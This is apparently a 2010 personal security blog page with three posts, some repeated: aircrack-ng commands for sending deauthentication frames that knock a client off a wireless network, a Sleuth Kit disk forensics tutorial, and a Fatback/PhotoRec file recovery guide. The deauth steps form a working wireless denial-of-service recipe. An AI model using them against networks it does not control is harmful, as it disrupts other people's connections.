Is it possible to disconnect a wireless client connected to a highly encrypted wireless network? Uhh, apparently yes. I been messing around with the aircrack-ng suite of tools (again) recently and decided to dive deeper into its capabilities. In a past blog, i wrote briefly about aircrack-ng and cracking WEP keys. I didn't speak in depth about its features then but would like to add just a little bit more. This time i'll be showing some commands that i've used to disconnect one of my wireless laptops, using a netbook that wasn't even autheneticated or connected to my wireless router. What this means is that any user can do a drive by in his automobile and forcefully cause me to disconnect from my wireless router, and cause a denial of service. This denial of service is for a brief period in time as the wireless clients may automatically try to reconnect to their wireless systems.
First turn your wireless card into monitor mode:
# airmon-ng start wlan0
Then scan the air for wireless AP's and clients
# airodump-ng mon0
When you found a an access point that has a client connected, you can filter your scan. This also sets the interface to operate on that particular channel for injecting packets:
# airodump-ng --channel 9 -b aa:aa:aa:aa:aa:aa mon0
And finally, the injection of death frames
#aireplay-ng -a aa:aa:aa:aa:aa:aa -c bb:bb:bb:bb:bb:bb --deauth 1 mon0
'-a' represents the MAC address of the target access point
'-c' represents the MAC address of the target host
Thursday, May 27, 2010
Tuesday, May 18, 2010
Quick Hands on with TSK (The Sleuth Kit)
The Sleuth Kit can be characterized as a suite of command line tools that aid in disk image analysis and recovery. It is a free unix package and can be obtained from www.sleuthkit.org. This tool is more in the category of forensics and can aid in uncovering many files and clues etc. Remember, Like any tool, to get the most out of it is dependent on the knowledge and experience of the user to the tool itself.
I wont speak anymore onthe sleuthkit, but rather dive into some of its tools and commands. You can read up more on the suite at www.sleuthkit.org. There is also a nice Web front end to this suite called Autopsy that i may blog about later.
The following examples presumes you already have a disk image, in my case, ill beusing "disk.img". For more options for each program you can type "man program_name" for its man page or "program_name -h" for a brief help page on the program's options
# fsstat disk.img //Displays details of the filesystem contained in the disk image 'disk.img'
fsstat can give you info such as :
# fls -d disk.img //lists ONLY the recently deleted file entries
The fls program will give you the repective inode numbers for each directory/file entry.
# ils -e disk.img // will list the inode information for every inode. If you remove the '-e' option, by default the program will list inode information for only removed/deleted files. The output information is not human friendly but it can be piped to the mactime program for better analysis
# icat disk.img 5 // copies the data occupied by inode 5 in disk.img. You can use the output of the fls program to obtain these inode number to choose from.
# icat -r disk.img 5 // the '-r' option allows for file recovery techniques to recover the file pointed to by inode 5. This option is only useful with deleted inode entries.
# istat disk.img 5 // Displays the details of the meta-data for inode 5. Details include file size, name, Written, accessed and created time, starting sector and sectors that the inode entry (5) occupies
# ifind -n "test.jpg" disk.img // searches for test.jpg then if found, returns the respective inode number
# ifind -d 536 disk.img // finds the relative inode number given the respective sector num (536 in this case)
# dls disk.img // By default dls copies the data from unallocated blocks only. Add the '-e' option and dls would copy every block, with the output being similar to the dd program
# dcat disk.img 12 //will display the contenst of sector #12
# sigfind 424d disk.img //searches for the magic bytes '424d'(typical for BMP files) throughout the disk image disk.img and return the sector offsets of the hits.
# sigfind -l 4d42 disk.img // This command will parse throught the entire disk image looking for the magic bytes of "424d" and return the sector offset of the result. The '-l' options means takes the magic bytes to search for in little indian format and must therefore be reversed, hence in our example, -l 4d42.
One common task of a forensic examiner is to perform keyword searches throughout a disk image. You can use the strings command to create an index of all the string characters found withing the image.
# strings -t d disk.img > index.lst // The '-t d' option displays the offset in decimal in which strings can be located or referenced to. You can then use the grep program to parse the strings.lst file for text.
# grep -f kewords.txt index.lst //keywords.txt can be a simple file with keywords like "pass", "password", "confidential", "Credit card", "username", "login", etc. with each word being on a line by itself.
To get information regarding file activity you can issue the following command
# fls -m "/" disk.img | mactime -b // The output of this command will create an ASCII time line of file activity
The above can also be accomplished with:
# ils -m -e disk.img | mactime -b
Resources/Good Reading:
www.sleuthkit.org
I wont speak anymore onthe sleuthkit, but rather dive into some of its tools and commands. You can read up more on the suite at www.sleuthkit.org. There is also a nice Web front end to this suite called Autopsy that i may blog about later.
The following examples presumes you already have a disk image, in my case, ill beusing "disk.img". For more options for each program you can type "man program_name" for its man page or "program_name -h" for a brief help page on the program's options
# fsstat disk.img //Displays details of the filesystem contained in the disk image 'disk.img'
fsstat can give you info such as :
- the filesytem type (fat16/32, ntfs etc.)
- Number of reserverd sectors
- Sectors contained withing each fat table and their offset (in sectors)
- Root directory offset (in sectors)
- Sector and cluster sizes
# fls -d disk.img //lists ONLY the recently deleted file entries
The fls program will give you the repective inode numbers for each directory/file entry.
# ils -e disk.img // will list the inode information for every inode. If you remove the '-e' option, by default the program will list inode information for only removed/deleted files. The output information is not human friendly but it can be piped to the mactime program for better analysis
# icat disk.img 5 // copies the data occupied by inode 5 in disk.img. You can use the output of the fls program to obtain these inode number to choose from.
# icat -r disk.img 5 // the '-r' option allows for file recovery techniques to recover the file pointed to by inode 5. This option is only useful with deleted inode entries.
# istat disk.img 5 // Displays the details of the meta-data for inode 5. Details include file size, name, Written, accessed and created time, starting sector and sectors that the inode entry (5) occupies
# ifind -n "test.jpg" disk.img // searches for test.jpg then if found, returns the respective inode number
# ifind -d 536 disk.img // finds the relative inode number given the respective sector num (536 in this case)
# dls disk.img // By default dls copies the data from unallocated blocks only. Add the '-e' option and dls would copy every block, with the output being similar to the dd program
# dcat disk.img 12 //will display the contenst of sector #12
# sigfind 424d disk.img //searches for the magic bytes '424d'(typical for BMP files) throughout the disk image disk.img and return the sector offsets of the hits.
# sigfind -l 4d42 disk.img // This command will parse throught the entire disk image looking for the magic bytes of "424d" and return the sector offset of the result. The '-l' options means takes the magic bytes to search for in little indian format and must therefore be reversed, hence in our example, -l 4d42.
One common task of a forensic examiner is to perform keyword searches throughout a disk image. You can use the strings command to create an index of all the string characters found withing the image.
# strings -t d disk.img > index.lst // The '-t d' option displays the offset in decimal in which strings can be located or referenced to. You can then use the grep program to parse the strings.lst file for text.
# grep -f kewords.txt index.lst //keywords.txt can be a simple file with keywords like "pass", "password", "confidential", "Credit card", "username", "login", etc. with each word being on a line by itself.
To get information regarding file activity you can issue the following command
# fls -m "/" disk.img | mactime -b // The output of this command will create an ASCII time line of file activity
The above can also be accomplished with:
# ils -m -e disk.img | mactime -b
Resources/Good Reading:
www.sleuthkit.org
Wednesday, May 12, 2010
Data recovery with Fatback and photorec
Fatback is a simple utility used mainly to aid in filerecover from fat16/32 drive types. It is able to give you relevant information including a list of all the files on a drive, including deleted files (Deleted files found within the root directory structure), the starting cluster number of each file, the cluster chain of each file (not applicable to deleted files) and the individual file sizes. It gives you the option to recover files from the clusters that the file occupies (deleted files will not show cluster chains)which makes the tool only relevant for recovery of files from drives that fail to mount or contain multiple bad sectors. Therefore this will not be the tool of choice to recover deleted files, although it does give you enough information to make it possible to manually recover them.
Its usage is very simple:
fatback [block_device]
# fatback /dev/sdb
You will be presented with fatback's sub prompt. You can type 'Help' to see the list of commands avaiable to you. The commands are quite easy to understand and intuitive to use so i will not rant on this tool any longer.
Photorec will be a better tool that you may want to use when attempting to recover deleted files. This tool can recover all kinds of files and doesn't really care about the filesystem. PhotoRec is also companion program to TestDisk, an app for recovering lost partitions on a wide variety of file systems and making non-bootable disks bootable again. It is very important to note that you should not write recovered files back onto the drive that you are recovering files from. By doing this, you can potentialy overwrite important data on that disk. Likewise, As soon as a pic or file is accidentally deleted, or you discover any missing, do NOT save any more pics or files to that memory device or hard disk drive; otherwise you may overwrite your lost data.
Usage:
photorec [Block_device]
# photorec /dev/sdb
This would put you through photorec's interface. The interface is very easy to understand and follow. From here you can select the device you would like to recover files from (if you didn' pass the option as a parameter when calling the program), destination to store the recovered files, files types to restore, etc. You can visually get an idea of photorec's interface and more write up on using the tool from http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive : article written by Shawn Hermans
Resources/Good Reading:
http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive
http://www.cgsecurity.org/wiki/PhotoRec
http://sourceforge.net/projects/fatback/
Its usage is very simple:
fatback [block_device]
# fatback /dev/sdb
You will be presented with fatback's sub prompt. You can type 'Help' to see the list of commands avaiable to you. The commands are quite easy to understand and intuitive to use so i will not rant on this tool any longer.
Photorec will be a better tool that you may want to use when attempting to recover deleted files. This tool can recover all kinds of files and doesn't really care about the filesystem. PhotoRec is also companion program to TestDisk, an app for recovering lost partitions on a wide variety of file systems and making non-bootable disks bootable again. It is very important to note that you should not write recovered files back onto the drive that you are recovering files from. By doing this, you can potentialy overwrite important data on that disk. Likewise, As soon as a pic or file is accidentally deleted, or you discover any missing, do NOT save any more pics or files to that memory device or hard disk drive; otherwise you may overwrite your lost data.
Usage:
photorec [Block_device]
# photorec /dev/sdb
This would put you through photorec's interface. The interface is very easy to understand and follow. From here you can select the device you would like to recover files from (if you didn' pass the option as a parameter when calling the program), destination to store the recovered files, files types to restore, etc. You can visually get an idea of photorec's interface and more write up on using the tool from http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive : article written by Shawn Hermans
Resources/Good Reading:
http://www.linux.com/news/enterprise/storage/8257-how-to-recover-lost-files-after-you-accidentally-wipe-your-hard-drive
http://www.cgsecurity.org/wiki/PhotoRec
http://sourceforge.net/projects/fatback/
Subscribe to:
Posts (Atom)